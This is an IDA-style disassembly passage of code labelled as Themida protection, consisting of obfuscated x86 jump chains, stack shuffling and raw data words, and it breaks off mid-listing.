loc_5624FA: ; CODE XREF: Themida_:00572831j pop esi jmp loc_567AC0 ; --------------------------------------------------------------------------- dd 591ABCBAh, 9DC3E940h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56250A: ; CODE XREF: Themida_:00568206j shr edi, 6 jmp loc_56A1D8 ; --------------------------------------------------------------------------- loc_562512: ; CODE XREF: Themida_:0057423Bj sub esi, 1 jmp loc_566A3A ; --------------------------------------------------------------------------- dw 1431h dd 24143324h, 6624248Bh, 9C2404FFh, 0FFEB15E9h, 2C481FFh dd 53000000h, 0CFFEF0B7h, 0CFFEC7FEh, 6B35E9h, 48F5900h dd 24248B24h, 0E9240431h, 1CDEh, 6569EE81h, 0D6F7356Dh dd 0AE84EE81h, 0EEC1E09Fh, 0E1C68104h, 0E91EE146h, 70ADh dd 0E9242C33h, 0EC50h, 0E8883BB5h, 53EB8059h, 70E9C300h dd 10000B4h, 89512404h, 4C181E1h, 81000000h, 4E9h, 0E83EE900h dd 0D8280000h, 0E9535304h, 0FFFFF074h, 4B8h, 8BC22900h dd 0C4832404h, 24148704h, 0D2EFE95Ch, 335B0000h, 0C31240Ch dd 240C3324h, 0FF24248Bh, 34FF2434h, 54535824h, 0EF66E9h dd 10EE8100h, 29261673h, 10C681C6h, 58261673h, 515EF129h dd 42474FFh, 24048F59h, 6624248Bh, 0E9240C89h, 0FFFFEA46h ; --------------------------------------------------------------------------- loc_5625FC: ; CODE XREF: Themida_:00576A7Dj mov ecx, ebx pop ebx mov edx, ecx jmp loc_56123F ; --------------------------------------------------------------------------- loc_562606: ; CODE XREF: Themida_:005642D6j xor [esp], ebx xor ebx, [esp] mov esp, [esp] sub edx, 6DAF7119h push ecx mov ecx, 36817371h sub edx, ecx jmp loc_564F93 ; --------------------------------------------------------------------------- aIts0 db '‰âé0Å',0 dd 0EE885200h, 525AF488h, 0F388E688h, 186CE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_56263A: ; CODE XREF: Themida_:005645E4j push edi push 37DB1F0Fh pop edi mov esi, 0F8459797h sub esi, edi pop edi xor ecx, esi pop esi add ebx, 7AC914ABh add ebx, ecx sub ebx, 7AC914ABh mov ecx, [esp] add esp, 4 jmp loc_5672C3 ; --------------------------------------------------------------------------- loc_562668: ; CODE XREF: Themida_:005741ECj push ebx jmp loc_5720D4 ; --------------------------------------------------------------------------- dw 0DFF7h dd 0EF0EF81h, 0F7812192h, 9BA8C96Dh, 2F1DE9h db 0 ; --------------------------------------------------------------------------- loc_562681: ; CODE XREF: Themida_:0056F090j sub edx, 0DB7DADD1h jmp loc_56F925 ; --------------------------------------------------------------------------- aXsa db 'Xéí)',0 align 2 loc_562692: ; CODE XREF: Themida_:00563600j pop edx pop ebx jmp loc_571428 ; --------------------------------------------------------------------------- aISs9 db '‰,$é˜9',0 dd 8BCB8900h, 60E9240Ch, 29000129h, 8B08247Ch, 0C483243Ch dd 0CF8E904h, 0F1890001h, 59CE015Eh, 8904EC83h, 0E589242Ch dd 4BF57h, 0FD010000h, 4ED835Fh, 8B242C87h, 34892424h dd 2474FF24h, 24348B04h, 86CCE9h db 0 ; --------------------------------------------------------------------------- loc_5626E9: ; CODE XREF: Themida_:0057061Bj pop edi add edi, 0DBBFDD87h push esi mov esi, edi mov edx, esi pop esi pop edi mov edi, edx pop edx add edx, edi mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push eax mov eax, esp jmp loc_566973 ; --------------------------------------------------------------------------- loc_562716: ; CODE XREF: Themida_:00573418j push dword ptr [esp] jmp loc_57260C ; --------------------------------------------------------------------------- dw 895Ch dd 74FF2414h, 8F5A0424h, 248B2404h, 94E924h db 1, 0 ; --------------------------------------------------------------------------- loc_562732: ; CODE XREF: Themida_:0056AA03j pop esi pop dword ptr [esp] mov esp, [esp] pop dword ptr [esp] jmp loc_572C83 ; --------------------------------------------------------------------------- db 80h, 0F4h, 6Dh dd 2820C380h, 20EB80E3h, 0E924048Bh, 10F2Dh, 63BD5551h dd 0B949265Ch, 0FA7FFBA6h, 36E9E901h, 80000BEh, 24048BE1h dd 5004C483h, 4F25E9h db 0 ; --------------------------------------------------------------------------- loc_562775: ; CODE XREF: Themida_:0056FAB1j pop esi push edi push dword ptr [esp+4] jmp loc_57336D ; --------------------------------------------------------------------------- loc_562780: ; CODE XREF: Themida_:00564EDBj push 509Bh mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov [esp], edx mov edx, 20h push ebx mov ebx, 3DE865AAh add edx, 77D22D1Bh add edx, ebx sub edx, 77D22D1Bh mov ebx, [esp] add esp, 4 add edx, edi sub edx, 3DE865AAh add [edx], eax mov edx, [esp] add esp, 4 push dword ptr [esp] jmp loc_56EDA4 ; --------------------------------------------------------------------------- loc_5627CE: ; CODE XREF: Themida_:00568F89j push 5DC3h mov [esp], edi jmp loc_566F52 ; --------------------------------------------------------------------------- db 0C1h dd 505206EAh, 0D8F7585Ah, 241CE9h, 4C78100h, 0E9000000h dd 15B2h, 4C6815Eh, 83000000h, 348704C6h, 48F5C24h, 0F7665C24h dd 0F86866F1h, 1489667Ah, 0B22CE924h, 74FF0000h, 348B0424h dd 4C48124h, 8F000000h, 248B2404h, 2434FF24h, 209CE9h dd 18E95900h db 8Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_562837: ; CODE XREF: Themida_:0056E76Bj pop eax pop dword ptr [esp] pop esp push esi push eax push 3C480B06h pop eax inc eax xor eax, 0DBC149Dh mov esi, eax pop eax add eax, 33654521h jmp loc_564253 ; --------------------------------------------------------------------------- db 89h dd 9EBB241Ch, 0E9B6B5C3h, 13FF7h ; --------------------------------------------------------------------------- loc_562864: ; CODE XREF: Themida_:005721F3j xor ecx, 1A5F7636h not ecx dec ecx and ecx, 27484CE6h add ecx, 0FCB7F320h jmp loc_56EA6F ; --------------------------------------------------------------------------- loc_56287E: ; CODE XREF: Themida_:0056C838j sub ebx, 25922CE2h pop edx add ebx, edx add dword ptr [ebx], 1 pop ebx pop edx loc_56288F: ; CODE XREF: Themida_:00574FB2j push 6178h mov [esp], edx push esi push ebx jmp loc_57244A ; --------------------------------------------------------------------------- loc_56289E: ; CODE XREF: Themida_:00566E4Fj push ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push esi mov esi, 79990074h push esi mov esi, 285D39A6h push ebx mov ebx, 50B57D71h add esi, ebx pop ebx dec esi jmp loc_5700D8 ; --------------------------------------------------------------------------- loc_5628D8: ; CODE XREF: Themida_:00569395j jmp loc_561042 ; --------------------------------------------------------------------------- db 50h, 81h, 34h dd 0A0284124h, 0FF35E908h, 5B660000h, 5B2434FFh, 56FCE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5628F6: ; CODE XREF: Themida_:0056A706j mov ecx, 1EDA724Bh add edx, ecx pop ecx dec edx push esi mov esi, 32375C29h or edx, esi pop esi sub edx, 0E728C29Bh mov ebx, edx pop edx add [esp+8], ebx pop ebx jmp loc_56E0AA ; --------------------------------------------------------------------------- db 81h dd 432A2BE9h, 88C18132h, 0E91AD15Bh, 742Bh ; --------------------------------------------------------------------------- loc_56292C: ; CODE XREF: Themida_:00561691j push 6C6Eh jmp loc_5709FC ; --------------------------------------------------------------------------- dw 6268h dd 0E9000015h, 0DBC3h, 0C6E9585Eh, 1000098h, 1613E9CAh dd 0ED810001h, 34E75DD5h, 0F706EDC1h, 627768D5h, 34890000h dd 39D16824h, 4890000h, 4A52B824h, 2EBE011Ah, 8102A91Ah dd 4D6DF6C6h, 81C60118h, 4D6DF6EEh, 0F5015818h, 140E5E9h db 0 ; --------------------------------------------------------------------------- loc_562989: ; CODE XREF: Themida_:0056974Bj mov esi, [esp] add esp, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_574FCB ; --------------------------------------------------------------------------- db 56h dd 0CC03A4BEh, 0B6C68166h, 0E925CD5Bh, 0F6D8h, 0C67ED82Dh dd 5F02946h, 46C67ED8h, 8D02E95Eh, 14890000h, 0E95A5424h dd 1150Dh, 0C1C03540h, 0C2015FAAh, 4EA8358h, 5C241487h dd 57242489h, 0A8B0E9h db 0 ; --------------------------------------------------------------------------- loc_5629E1: ; CODE XREF: Themida_:0056E916j xchg edi, [esp] pop esp add esp, 4 jmp loc_56EF91 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FFE64DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5629F5: ; CODE XREF: Themida_:00571861j mov [esp], esi push esp mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add esi, 4 jmp loc_56A9EB ; --------------------------------------------------------------------------- db 0C1h dd 0E95002E7h, 0FFFFF5A0h, 0FFE61DE9h db 0FFh ; --------------------------------------------------------------------------- loc_562A25: ; CODE XREF: Themida_:00575186j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add edx, 1BE70930h add edx, ebx sub edx, 1BE70930h mov ebx, [esp] add esp, 4 add edx, edi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_568023 ; --------------------------------------------------------------------------- db 5Ch, 89h, 0Ch dd 4EC8324h, 0B8240489h, 4, 48BC189h, 4C48124h, 0E9000000h dd 13D2Bh ; --------------------------------------------------------------------------- loc_562A84: ; CODE XREF: Themida_:00567E85j inc ebx and ebx, 34544C64h xor ebx, 2FA70133h neg ebx xor ebx, 8B26D873h xor ecx, ebx pop ebx push edi mov edi, 1E8D534Bh xor ecx, edi pop edi and eax, ecx mov ecx, [esp] add esp, 4 or eax, eax jz loc_574C86 push dword ptr [edi+28h] push dword ptr [esp] pop eax push 3637h mov [esp], ecx jmp loc_56E2E3 ; --------------------------------------------------------------------------- loc_562ACC: ; CODE XREF: Themida_:00568C8Cj push dword ptr [esp] mov edi, [esp] jmp loc_561760 ; --------------------------------------------------------------------------- a11isw db '1Ý[1ëéwÇ',0 db 0 ; --------------------------------------------------------------------------- loc_562AE1: ; CODE XREF: Themida_:00574679j pop dword ptr [esp] mov esp, [esp] mov [esp], ebp mov ebp, esp push edi jmp loc_569F43 ; --------------------------------------------------------------------------- dw 0C15Dh dd 0EF8105E7h, 8053F6ACh, 0E95FF809h, 1D05h, 8324148Bh dd 835004C4h, 148904ECh, 4D9FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562B16: ; CODE XREF: Themida_:0056D74Ej add esp, 4 push 0C8Bh mov [esp], edx jmp loc_57098E ; --------------------------------------------------------------------------- dw 66ACh dd 28D9B551h, 0E95966E8h, 0FFFFEEB0h, 68241489h, 5D94h dd 53240C89h, 0D988E388h, 0FFEB4DE9h, 99C780FFh, 0E0A7E9h dd 1CEE8100h, 812FA374h, 8106F7EEh, 0C6814E3Fh, 0C6E548A2h dd 4FE9F129h, 81000014h, 666712C7h, 66E936h, 14870001h dd 7B685C24h, 89000005h, 0E189240Ch, 0C71CE9h db 0 ; --------------------------------------------------------------------------- loc_562B89: ; CODE XREF: Themida_:0056A298j mov ebx, 4F90419Dh sub eax, 0EE55D3Fh sub eax, ebx jmp loc_5741C6 ; --------------------------------------------------------------------------- dw 2489h dd 24048324h, 0C1815904h, 4, 2BE56h, 0BE560000h, 5D2F2059h dd 348BF129h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h dd 1FB85055h, 890E265Ch, 0C14D58C5h, 0FEE905EDh, 5200009Ah dd 44E9E289h, 590000C2h, 0FE05EFC0h, 9BB450C7h, 2858E730h dd 502C5BF8h, 3B1368h, 241C8900h, 641FE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562C06: ; CODE XREF: Themida_:0056FE31j mov esp, [esp] mov [esp], ebx mov ebx, 40h and ecx, ebx push dword ptr [esp] mov ebx, [esp] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add esp, 4 shr ecx, 6 jmp loc_568F7A ; --------------------------------------------------------------------------- loc_562C3A: ; CODE XREF: Themida_:00571549j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push edi jmp loc_5675B7 ; --------------------------------------------------------------------------- dw 0EB81h dd 0B1E07A7h, 13DFFE9h, 4EBC100h, 8305EBC1h, 0EB8101EBh dd 38B949D6h, 54C6BD55h, 0EB0930BFh, 76BE565Dh, 812E6934h dd 4A45B4F6h, 0F7D6F712h, 14F756DEh, 0CE815E24h, 249C4FFCh dd 0E593C681h, 0F331DF0Ah, 0D05FE9h, 0E95400h, 81000065h dd 4C3h, 4EC8300h, 8E9DE9h, 3C875E00h, 24248B24h, 68F9F766h dd 55D4h, 54242C89h, 5D2434FFh, 4C481h, 55570000h, 0C95F2868h dd 2434FF11h, 5D2434FFh, 4C481h, 0C4830000h, 24ED8104h dd 8911C95Fh, 677EE9EFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_562CF2: ; CODE XREF: Themida_:00569151j mov esp, [esp] mov [esp], ebx mov ebx, 4 add ebp, ebx mov ebx, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] shr ecx, 7 push esi jmp loc_56EF4A ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 5A0E1083h and edi, 0B7828CEh sub edi, 0A08007Eh jmp loc_573272 ; --------------------------------------------------------------------------- dw 0FF5Dh a4S db '4$é¸ß',0 dw 8900h dd 2988E9E7h, 4870001h, 2C895C24h, 4BD24h, 0E2E90000h dd 8300002Dh, 3CE904C4h, 0FF000044h, 51582434h, 2E9E189h db 0ABh, 2 dup(0) ; --------------------------------------------------------------------------- loc_562D63: ; CODE XREF: Themida_:00571DDFj not ecx jmp loc_565672 ; --------------------------------------------------------------------------- dw 0C783h dd 243C8704h, 4EC815Ch, 0E9000000h, 0C74Bh ; --------------------------------------------------------------------------- loc_562D7C: ; CODE XREF: Themida_:005696EBj pop esi push edi push esi mov esi, esp push edx mov edx, 4 add esi, edx pop edx sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx mov ecx, esi mov edi, ecx mov ecx, [esp] push ebx jmp loc_564C90 ; --------------------------------------------------------------------------- loc_562DA4: ; CODE XREF: Themida_:00569800j pop eax add ebx, 0A967F7Bh push ecx mov ecx, 28804A63h sub ebx, ecx pop ecx sub ebx, ecx add ebx, 28804A63h push esi mov esi, 0A967F7Bh sub ebx, 14E70696h jmp loc_56E6EC ; --------------------------------------------------------------------------- db 53h, 0BBh, 5 dd 13EA925h, 0A62D5BD8h, 29725B3Bh, 0B85053D8h, 74DF39A3h dd 4802E0C1h, 0DD64342Dh, 60DC2508h, 0FEE92B3Bh db 0C5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562DF7: ; CODE XREF: Themida_:0056EB01j or eax, eax jnz loc_570D54 push eax mov eax, 38964FA9h push edi push ebp mov ebp, 1B7918EEh jmp loc_56ED20 ; --------------------------------------------------------------------------- db 0F7h, 0DBh, 4Bh dd 8904EC83h, 6DE92434h db 4, 1, 0 ; --------------------------------------------------------------------------- loc_562E1F: ; CODE XREF: Themida_:0056C18Ej pop eax pop edx xor edx, 0F21AB461h sub ebx, 5E8F5F17h jmp loc_5706AC ; --------------------------------------------------------------------------- loc_562E32: ; CODE XREF: Themida_:0057697Bj sub esp, 4 mov [esp], ecx mov cl, 0FFh sub ah, cl pop ecx shr ah, 7 shr ah, 1 xor ah, 90h mov dh, ah push dword ptr [esp] jmp loc_565908 ; --------------------------------------------------------------------------- dw 2C89h dd 4EC8324h, 0FFEC76E9h, 56D787FFh, 0FFFFFFBEh, 0FFF701FFh dd 348B2434h, 0E3895324h, 4C381h, 0C3810000h, 4, 0E9241C87h dd 1084Ah, 4C5815Dh, 83000000h, 2C8704EDh, 28E95C24h, 8F000101h dd 555C2404h, 5A55F589h, 9BE95E5Dh, 88FFFFE1h, 5BF988C7h dd 52665B58h, 0F10076B6h, 0E9805A66h, 53E980FFh, 40F5E9h db 0 ; --------------------------------------------------------------------------- loc_562EC1: ; CODE XREF: Themida_:005667ABj mov ebp, 7C916D97h jmp loc_571462 ; --------------------------------------------------------------------------- db 89h dd 0F2815DEAh, 3DAA64E0h, 685AD029h, 5C66h, 0B562E9h, 3EBC100h dd 5254B850h, 0A9E9149Fh db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_562EEF: ; CODE XREF: Themida_:0056C67Fj push 4A9Ah mov [esp], esi mov esi, esp push ebp push edx push 5CE44F1Eh pop edx xor edx, 1FA34A10h push ecx jmp loc_56A388 ; --------------------------------------------------------------------------- db 66h, 5Ah, 66h dd 2D66C801h, 8B666B90h, 0E953240Ch, 0DCF7h, 0FA685052h dd 0E95A4941h, 69F1h, 24048B66h, 5ACA68h, 24148900h, 8068E289h dd 0E9000028h, 116F7h, 0BD242C89h, 4, 34FF5B55h, 0C4815D24h dd 4, 35E2E9h, 2B900h, 0CB010000h, 46C6E959h, 0EC810000h dd 4, 89241C89h, 4C381E3h, 52000000h, 4BAh, 5AD30100h dd 0FB1BE9h, 8BD58900h, 0C4812414h, 4, 0EBF58159h, 1447B17h dd 6FB5E9EBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_562FA2: ; CODE XREF: Themida_:0056BC3Ej push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov ecx, [esp] add esp, 4 jmp loc_564A06 ; --------------------------------------------------------------------------- loc_562FC3: ; CODE XREF: Themida_:005766BFj mov ebx, [esp] add esp, 4 push esi mov esi, 6284EC0h add edx, esi pop esi add edx, 19A09D9h add edx, ecx sub edx, 19A09D9h push edi mov edi, 6284EC0h add edx, 3E0A795Fh sub edx, edi sub edx, 3E0A795Fh pop edi pop ecx jmp loc_5755A2 ; --------------------------------------------------------------------------- dw 0F681h dd 70A871A2h, 0C681DEF7h, 594A7964h, 0D6E9F589h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_563013: ; CODE XREF: Themida_:0056B626j mov edi, [esp] add esp, 4 sub edi, 398C58D7h jmp loc_56FB02 ; --------------------------------------------------------------------------- db 89h dd 4C781E7h, 0E9000000h, 24E2h, 4C381h, 0EB810000h, 4 dd 5C241C87h, 68243C89h, 56FF435Eh, 0E9243C8Bh, 8D62h dd 0CDC781h, 9AE9775Ch, 89000113h, 0CEE92414h db 2Ah, 1, 0 ; --------------------------------------------------------------------------- loc_563067: ; CODE XREF: Themida_:005691F4j mov ebx, edx pop edx and eax, ebx push dword ptr [esp] pop ebx push eax mov eax, esp push 1936h mov [esp], edx push 61EBh mov [esp], eax jmp loc_57299D ; --------------------------------------------------------------------------- loc_563088: ; CODE XREF: Themida_:00562005j xor eax, 0F6DEC4A3h mov edi, eax jmp loc_57405F ; --------------------------------------------------------------------------- dd 0A23E953h, 1C890001h, 2474FF24h, 48F5B04h, 24248B24h dd 0E9E1F766h, 11D0Ah, 0F5BF5759h, 2935B767h, 779E9F8h dd 0E9550000h, 0AB93h ; --------------------------------------------------------------------------- loc_5630C4: ; CODE XREF: Themida_:005687F0j sub esi, edx jmp loc_56FE14 ; --------------------------------------------------------------------------- db 33h dd 0C31240Ch, 330DE924h, 0EA680000h, 89000034h, 0B9512424h dd 4, 0ECC0E9h, 242C8900h, 4BDh, 5DEA0100h, 2B850h, 0EC810000h dd 4, 0BD242C89h, 251B7DEAh, 7EC5814Dh, 290F99E2h, 0E9575DEAh dd 14E4h, 8159CD09h, 0DC6A1CEDh, 43C38139h, 1786950h, 43EB81EBh dd 5D786950h, 4EC81h, 1C890000h, 2D34E924h, 34FF0000h dd 0E4F1E924h, 0D8280000h, 0C7045Bh, 66C72CF8h, 3BB753h dd 0F790E9F8h, 34FFFFFFh, 2434FF24h, 582434FFh, 8304C483h dd 895204C4h, 4C281E2h, 81000000h, 4EAh, 24148700h, 101E6E9h db 0 ; --------------------------------------------------------------------------- loc_563181: ; CODE XREF: Themida_:00575DD6j push edx push dword ptr [esp+4] mov edx, [esp] push 5031h jmp loc_565141 ; --------------------------------------------------------------------------- db 89h dd 0CA68240Ch, 0E9000030h, 2336h, 89CB8953h, 34FF5BDDh dd 2434FF24h, 11449E9h, 81E28900h, 4C2h, 4C28100h, 87000000h dd 0E95C2414h, 7795h, 48BC229h, 0C490E924h, 0FF5A0000h dd 3C8B2434h, 4C48324h, 0F23BE951h, 66AC0000h, 32FFE953h dd 248B0000h, 24D36624h, 4BE99C24h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5631F7: ; CODE XREF: Themida_:00572BD7j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_56DA79 ; --------------------------------------------------------------------------- dw 0C789h dd 1102FE9h, 68585400h, 76F5h, 68240C89h, 3367h, 56240489h dd 0F53719BEh, 1EE94E06h, 0E9000103h, 0FFFFDE0Eh ; --------------------------------------------------------------------------- loc_563234: ; CODE XREF: Themida_:00570CCDj add esp, 4 jmp loc_564EEB ; --------------------------------------------------------------------------- loc_56323C: ; CODE XREF: Themida_:005682FCj mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_567738 ; --------------------------------------------------------------------------- dd 0FE5BDE88h, 75EE80C6h, 80B7C680h, 0C68023F6h, 0DDF68001h dd 0FEEBF680h, 0CAB753C6h, 0E7C0C7FEh, 19C78007h, 764BE9h dd 5E6C100h, 0E05AC681h, 0F089286Dh, 0C189515Eh, 5859CF89h dd 2528E9h, 24348700h, 2424895Ch, 4240481h, 0FF000000h dd 2C8B2434h, 4C48324h, 4C481h, 0C5810000h, 4, 2DE06850h dd 3DE90000h, 890000FCh, 0EC832434h, 24148904h, 327928BAh dd 0F7E95750h db 0EAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5632CF: ; CODE XREF: Themida_:005740F2j not dword ptr [esp] pop edi jmp loc_56BD33 ; --------------------------------------------------------------------------- loc_5632D8: ; CODE XREF: Themida_:0056FC79j or edi, 72970BB2h xor edi, 7BBF39FAh jmp loc_575BF7 ; --------------------------------------------------------------------------- aM0SK db '¬0ØéΪ',0 dd 28BB6800h, 4890000h, 5D545524h, 4C581h, 0ED810000h dd 4, 0E9242C87h, 0FC72h, 0C781E789h, 4, 4EF81h, 3C870000h dd 34895C24h, 7E685224h, 5A68222Fh, 0CB685750h, 8B1DB740h dd 0DCE9243Ch, 1000006h, 0AAEE81D6h, 0FF2D0549h, 835A2434h dd 7A6804C4h, 0E9000054h, 0A216h, 0E92C77FFh, 0FFFFDCE6h dd 0F2B551h, 0AEE959E8h, 870000E8h, 95E9242Ch, 0BE0000BFh dd 4, 348BF701h, 4C48124h, 81000000h, 4C7h, 243C8700h dd 8BCA895Ch, 0EC81240Ch, 4, 54243489h, 4B8505Eh, 1000000h dd 0C68158C6h, 4, 0E9243487h, 22EFh, 1BF2814Ah, 1238000h dd 0EC815AD7h, 4, 68242C89h, 4, 7489E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5633CE: ; CODE XREF: Themida_:0056FD0Cj push ebx push 31F41F9Ah mov ebx, [esp] sub esp, 4 mov [esp], esi push 1A86h mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 jmp loc_5650E3 ; --------------------------------------------------------------------------- a_hdu db '_h¤U',0 align 2 aSai db '逛',0 dw 8900h dd 0A2B7E9FEh, 3EB90000h, 0F737AE3Dh, 162FE9D1h, 0CF890001h dd 4DE95D57h, 68000087h, 71B609FDh, 58C30958h, 0FFDE20E9h dd 245401FFh, 0FD9CE908h, 0C781FFFFh, 0EAF61FC3h, 0E95FFD89h dd 0DC1h, 5BBB951h, 0D9F769B1h, 13ABC181h, 0D1F77EA8h dd 7455E981h, 0C1815E8Ch, 7383824Ah, 7D24C681h, 0C6812646h dd 2FBC0268h, 0EE81CE01h, 2FBC0268h, 7D24EE81h, 81592646h dd 4ECh, 24148900h, 4BAh, 5AD62900h, 8B243487h, 1C892424h dd 2474FF24h, 241C8B04h, 0E0F2E9h, 2434FF00h, 4C4815Dh dd 0E9000000h, 4420h, 0E904C483h, 0A52Fh, 0BE243489h, 0EDBAC1D9h dd 4A89B951h, 0CD0114B6h, 56F50159h, 0F2421CBEh, 1DF68129h dd 815DCB78h, 8F7088F6h, 8EBBE960h, 370D0000h, 0E9458978h dd 8628h, 271E281h, 0E2C17DC1h, 1AF28107h, 57450771h, 8E475DBFh dd 0BF57510Fh, 3157450Ch, 3C8BF989h, 4C48124h, 0E9000000h dd 9CCEh, 0AFE9F32Ch db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_56351F: ; CODE XREF: Themida_:005696BAj push 2981h mov [esp], esp add dword ptr [esp], 4 jmp loc_576265 ; --------------------------------------------------------------------------- dd 52242C89h, 1994E9h db 0 ; --------------------------------------------------------------------------- loc_563539: ; CODE XREF: Themida_:00561453j add esp, 4 jmp loc_561042 ; --------------------------------------------------------------------------- loc_563544: ; CODE XREF: Themida_:00572CC3j xor ah, bl pop bx push ebx mov bl, ah mov cl, bl pop ebx jmp loc_56E20E ; --------------------------------------------------------------------------- db 0BBh dd 57EF366Ah, 0E3C1DBF7h, 1A56E903h, 1E680000h, 8900005Bh dd 58542404h, 405h, 40500h, 0DAE90000h, 0C100003Dh, 673506E8h dd 29000DF5h, 2434FFC3h, 4C48358h, 0FFDAB1E9h, 4C483FFh dd 3302EB83h, 24E9241Ch db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56359F: ; CODE XREF: Themida_:00571DC1j pop eax push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_576121 ; --------------------------------------------------------------------------- aAAai db '€Ãa€ë`',0 db 0C3h, 80h, 0C3h dd 98B15160h, 0D986C9FEh, 823EE9h, 0BEB95100h, 81258A53h dd 0CC7D5BE9h, 6E1C12Ah, 19E98141h, 0E926DB39h, 0AA05h ; --------------------------------------------------------------------------- loc_5635E8: ; CODE XREF: Themida_:0056D23Dj xchg ecx, [esp] pop esp mov [esp], ebx mov bh, al push edx push ecx mov cl, bh mov dh, cl pop ecx push ebx mov bl, dh push edx mov dl, bl mov ch, dl jmp loc_562692 ; --------------------------------------------------------------------------- db 5Ch, 89h, 0Ch dd 87CBB924h, 0CE0111FFh, 87C58159h, 110E040h, 4DB951F5h dd 0E905C51Fh, 0CBADh, 4BF57h, 0F9010000h, 4C1835Fh, 5C240C87h dd 40D7EF81h, 52563EC0h, 685F5068h, 94E95A2Bh, 81FFFFF1h dd 4E9h, 240C8700h, 102ADE9h, 5EF53100h, 1F42E981h, 0E9016908h dd 8859E9h, 65EE8100h, 8140B805h, 0E2711FEEh, 81EE015Eh dd 0E2711FC6h, 65C6815Eh, 0FF40B805h, 835D2434h, 756804C4h dd 89000036h, 73E92434h, 0FF0000F8h, 83582434h, 33E904C4h dd 5C00002Ah, 5C240C87h, 0FF2434FFh, 68592434h, 783Ch dd 89243489h, 7075E9E6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5636BA: ; CODE XREF: Themida_:00562456j push esp jmp loc_571C5A ; --------------------------------------------------------------------------- loc_5636C0: ; CODE XREF: Themida_:005641E4j pop esi and eax, edx pop edx or edx, eax shl edx, 1 push 106h jmp loc_569E05 ; --------------------------------------------------------------------------- dw 2C89h dd 78D1BD24h, 6C816B86h, 21F40424h, 6C01777Dh, 44810424h dd 21F40424h, 2C8B777Dh, 4C48324h, 0FFEE8AE9h, 8DBD55FFh dd 0E9406123h, 0BAE9h ; --------------------------------------------------------------------------- loc_563704: ; CODE XREF: Themida_:0056EEE5j mov edx, eax pop eax jmp loc_56956E ; --------------------------------------------------------------------------- loc_56370C: ; CODE XREF: Themida_:0056F7E8j shr edx, 4 add edx, 1 shr edx, 3 push ebp mov ebp, 53633AFBh not ebp inc ebp push ecx mov ecx, 5D707A8Ch add ecx, 4CFB1A1Dh jmp loc_570FC6 ; --------------------------------------------------------------------------- aZSbf db '‡,$éF',0 align 2 dw 0EE81h dd 0B4BDB6FFh, 0B5E9F029h, 52000097h, 0A89BD55h, 3CBA26FAh dd 1E3AAD9h, 0D7315DEAh, 0F8B9515Ah, 815F6004h, 0F09958E9h dd 25FAE9E4h, 248B0000h, 24040124h, 0D8CCE99Ch, 0BE56FFFFh dd 2DE755A0h, 8895E9h, 4C48100h, 8F000000h, 248B2404h dd 0EA8AE924h, 0C481FFFFh, 4, 0D579312Dh, 0E9F0290Ch, 309Ch dd 66451CBAh, 8F2815Eh, 0E92F7049h, 0AFF4h, 0DC33E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5637BA: ; CODE XREF: Themida_:0056A0ACj push esi mov esi, 5A4E4402h sub edx, esi pop esi add edx, edi add edx, 5A4E4402h jmp loc_56B3B6 ; --------------------------------------------------------------------------- dd 0B2ADC781h, 0F8317BF4h, 3295355Fh, 0D635330Fh, 255E790Fh dd 7CBA424Fh, 6D2F5605h, 58C3890Ah, 0A2F5E9h db 0 ; --------------------------------------------------------------------------- loc_5637F5: ; CODE XREF: Themida_:0056813Aj mov ecx, 4791DE58h jmp loc_574142 ; --------------------------------------------------------------------------- loc_5637FF: ; CODE XREF: Themida_:005739E9j shr eax, 8 shr eax, 6 jmp loc_56D3DE ; --------------------------------------------------------------------------- dw 0C87h dd 29665C24h, 0E99C2404h, 0FFFFD82Ah, 5107E954h, 0C0590000h dd 0B55105E7h, 0C0C5FE68h, 0ED8006EDh, 59EF2806h, 0A1E9C7FEh dd 5F000088h, 0F5259505h, 16EBE935h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563842: ; CODE XREF: Themida_:00575793j push 3D94h jmp loc_571D18 ; --------------------------------------------------------------------------- dd 4C681h, 0B8500000h, 2, 48BC601h, 4C48324h, 0E9E28952h dd 0F67Eh, 0B5E58158h, 686BB27Ah, 6039h, 0BB241C89h, 21A6B72h dd 